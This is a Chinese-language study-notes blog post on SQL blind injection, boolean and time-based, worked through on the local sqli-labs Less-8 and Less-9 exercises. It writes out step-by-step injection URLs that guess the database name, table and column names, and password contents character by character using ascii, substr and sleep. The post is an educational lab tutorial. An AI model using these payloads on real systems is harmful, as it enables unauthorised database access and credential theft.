sql盲注

在刚接触sql注入的时候还不太清楚sql盲注是什么,很多东西都要自己

去体会才能知道到底是什么样子的。

sql注入之盲注

盲注其实是sql注入的一种,之所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息。

盲注分为两类:

1.布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根据    你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。

2.时间盲注 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

需要用到的函数:

Length()函数 返回字符串的长度

Substr()截取字符串

Ascii()返回字符的ascii码

sleep(n):将程序挂起一段时间 n为n秒

if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

先在mysql里测试下这几个函数:

这里使用的是security库

length函数:

substr函数:

Ascii:

sleep跟if由于是时间盲注就不一一测试了。

布尔盲注

sqli-less-8为布尔盲注这里就用它做下测试

刚开始用id=1’/ ’) “ 测试了一下发现不会爆出错误信息 只有正确跟错误 less-8应该就是布尔盲注了吧 然后通过上面的函数首先构造一个猜测数据库名长度的函数

http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+

返回错误 说明length小于10

然后继续猜测是不是大于5

http://127.0.0.1/Less-8/?id=1' and (length(database()))>5 --+

返回正确说明长度大于5小于10

最后得到结果为

http://127.0.0.1/Less-8/?id=1' and (length(database()))=8 --+

返回正确 长度为八 也就是security

接下来利用substr函数与ascii函数构造猜测数据库名ascii码的值的语句 因为现在只知道长度不知道具体内容

构造语句如下

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))>100 --+

返回正确说明第一个字母的ascii码大于100

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))>110 --+

返回正确

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))<120 --+

返回正确

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))<115 --+

返回错误

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))=115 --+

返回正确 通过查ascii码表可知 ascii(115)=s 也就是security 的第一个字母

通过改变database()后面的数字 可以继续猜测第二个字母第三个字母

接下来改变语句去猜测表名

构造这个语句的时候发现自己还是不够熟练 弄错了好几次

http://127.0.0.1/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100 --+

返回正确 当等于101的时候返回正确 101为 e 查看mysql 得知第一个表为emails 正确结果

http://127.0.0.1/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=114 --+

猜测列名只需要改变几个地方

http://127.0.0.1/Less-8/?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100 --+

获取user表的内容 经过猜测 ascii为 105 为i 也就是表的第一个列名 id的第一个字母 同样 通过修改 limit 0,1 获取第二个列名 修改后面1,1的获取当前列的其他字段

接着获取 username 与 password 里面的内容 因为知道了列名所以直接 select password from users 就可以获取password里面的内容 username一样

具体语句如下

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+

ascii(68)=D 正确

手工盲注很繁琐 需要一个一个的试 不过现在还是先学习手工理解了sql注入的原理再去用工具比较好

时间盲注

sqli-less-9为时间盲注

前面已经说过slee()函数跟if函数了

这里就直接构造如下语句

http://127.0.0.1/Less-9/?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(10),null)) --+

如果返回正确则 页面会停顿10秒,返回错误则会立马返回

其他与布尔盲注都是差不多的

post类的布尔盲注与时间盲注

前面说的都是get类的盲注,post类的布尔盲注只是把and换成or其他不变,时间盲注有些不同因为在post类里sleep函数会被放大很多也就是说那个延时时间会很长,不过并不影响我们进行测试。

sql盲注 解决_sql盲注学习笔记相关推荐

  1. sql盲注 解决_sql盲注-和sql盲注相关的内容-阿里云开发者社区

    <白帽子讲WEB安全>学习笔记之第7章 注入攻击 第7章 注入攻击 SQL注入的两个条件:1,用户可以控制输入:2,原本执行的SQL语句并接了用户输入的数据. 7.1 sql注入 SQL注 ...

  2. 数据库LINQ TO SQL在Silverlight中的应用(WCF)------学习笔记(一)

    数据库LINQ TO SQL在Silverlight中的应用(WCF)------学习笔记(一) 步骤: 1. 创建SILVERLIGHT应用程序 2. 创建LINQ TO SQL [注意序列化的问题 ...

  3. sql盲注特点_sql盲注讲解

    盲注 有时候,开发人员不会把数据库报错信息显示在前端页面,这样就使我们想要通过union注入或报错注入的攻击方式难以实现. 当不显示报错信息的时候,我们还可以通过盲注的方式来对数据库进行注入攻击. 盲 ...

  4. groovy怎样从sql语句中截取表名_SQL基础教程学习笔记

    点击上方SQL数据库开发,关注获取SQL视频教程 SQL专栏 SQL数据库基础知识汇总 SQL数据库高级知识汇总 1.数据库和SQL RDBMS:关系数据库管理系统 比较代表性的有:Oracle(甲骨 ...

  5. 基于Oracle的SQL优化(崔华著)-学习笔记

    201704171025 01. 列rows记录的就是执行计划中每一个执行步骤所对应的Cardinality的值 列Cost(%CPU)记录的就是执行计划中的每一个执行步骤对应的成本 02. Comp ...

  6. sql依据单个字段去重_小白学习笔记,测试工程师必备SQL语句整理

    作为一个软件测试工程师,我们在测试过程中往往需要对数据库数据进行操作,但是我们的操作大多以查询居多,有时会涉及到新增,修改,删除等操作,所以我们其实并不需要对数据库的操作有特别深入的了解,以下是我在工 ...

  7. php部署项目到服务器报错SQLSTATE[HY000] [2002] Connection timed out解决方法(纯学习笔记,不作为教程)

    SQLSTATE[HY000] [2002] Connection timed out解决方法 在网上找了一堆,结果全部是错的 后来,我明白了其实是设置问题. 当你的代码部署到服务器里的时候,你的my ...

  8. SQL Server学习笔记

    <SQL Server从入门到精通>学习笔记 1 数据管理技术的三个阶段:人工管理.文件系统.数据库系统. 2 数据库的组成:数据库.数据库管理系统.数据库管理员.硬件平台.软件平台5部分 ...

  9. linux学习笔记——grub故障排除

    注:本文为本人学习笔记,故只代表本人的理解,如有错误,请见谅并欢迎指正 1.grub简介 详细描述请自行搜索网络,非常多.这里只简单引用网络上的描述.grub是电脑的启动管理程序.是 计算机启动后运行 ...

  10. ssm 转发请求_千呼万唤!阿里内部终于把这份SSM框架技术学习笔记分享出来了...

    SSM SSM(Spring+SpringMVC+MyBatis)框架集由Spring.MyBatis两个开源框架整合而成(SpringMVC是Spring中的部分内容).常作为数据源较简单的web项 ...

最新文章

  1. 一、mysql分表简单介绍
  2. ubuntu 开启关闭mysql 服务
  3. nltk 文本预处理
  4. hibernate实体的几种状态:
  5. iTOP-4412开发板实现3路ADC数模转换驱动例程
  6. 通达oa wbupload.php,关于通达OA上传附件类型限制的设置
  7. Python+tkinter+sqlite3模拟通信录管理系统
  8. Dotnetcore或owin程序启用SSL的方法
  9. PKU 3667 HDOJ 3667 Hotel ACM 3667 IN HDU
  10. python中用来抛出异常的关键字是( )_python异常抛出
  11. 用互联网模式打造智慧城市的“城市云”
  12. 无法访问工作组计算机修复工具,局域网共享一键修复工具
  13. 前后端python简单模拟api接口返回json,以及采集数据
  14. 阿里云短信发送 错误 请检查模板内容与模板参数是否匹配
  15. 淘宝天猫评论爬取,简单的办法完成滑动验证
  16. Hulu | 美国人民看电视流行趋势大赏(2020)
  17. 简单实用流程图模板分享,建议收藏
  18. sql 时间的模糊查询
  19. P1567统计天数-C++编程解析-数组
  20. 嵌入式之linux用户空间与内核空间,进程上下文与中断上下文

热门文章

  1. python如何读二进制文件_Python如何读写二进制文件
  2. niceScroll
  3. wordpress网站提示“建立数据库连接时出错”
  4. 中国地图着色问题c语言,中国地图四色染色问题.doc
  5. 华悦网游器软件介绍及功能介绍
  6. CRMEB商城公众号H5前端模板修改,nodejs使用教程
  7. python排序算法——冒泡排序时间复杂度
  8. Chrome 离线下载最佳方法
  9. RGB网页颜色在线取色器
  10. vs哪个版本比较好用_哪个跨境电商erp比较好用,跨境电商erp哪个好一点